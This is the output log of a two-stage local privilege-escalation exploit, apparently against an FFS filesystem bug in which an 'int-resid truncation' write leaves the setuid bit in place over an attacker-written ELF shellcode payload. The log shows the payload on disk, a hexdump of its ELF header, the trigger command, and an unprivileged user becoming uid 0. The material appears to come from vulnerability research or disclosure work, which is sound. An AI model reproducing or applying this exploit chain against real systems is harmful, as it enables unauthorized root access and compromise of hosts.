## Stage 1: write payload via int-resid truncation bug
[*] payload: 179 bytes (ELF hdr + phdr + shellcode)
[*] target mode=4775 ISUID=SET before write
[*] write returned -1 errno=14 (Bad address) -- expected EFAULT
[BUG] target mode=4775 ISUID=PRESERVED after write
[*] ISUID preserved with attacker ELF payload on disk.
[*] privilege-boundary crossing:
      echo id | /mnt/ffs/target
    should print uid=0(root) gid=0(wheel).

## Payload verification on disk
-rwsrwxr-x  1 root  maxx  477592 Jul 12 10:34 /mnt/ffs/target
--- hexdump (ELF header) ---
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 3e 00 01 00 00 00  78 00 40 00 00 00 00 00  |..>.....x.@.....|
00000020  40 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |@...............|
--- file ---
/mnt/ffs/target: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

## Stage 2: privilege-boundary crossing (exec setuid-root target)
## maxx BEFORE:
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
## maxx AFTER exec /mnt/ffs/target (setuid(0)+execve /bin/sh, piped 'id'):
uid=0(root) gid=0(wheel) groups=0(wheel)

## Chain result: uid=0(root) = UNPRIV -> ROOT ESCALATION ACHIEVED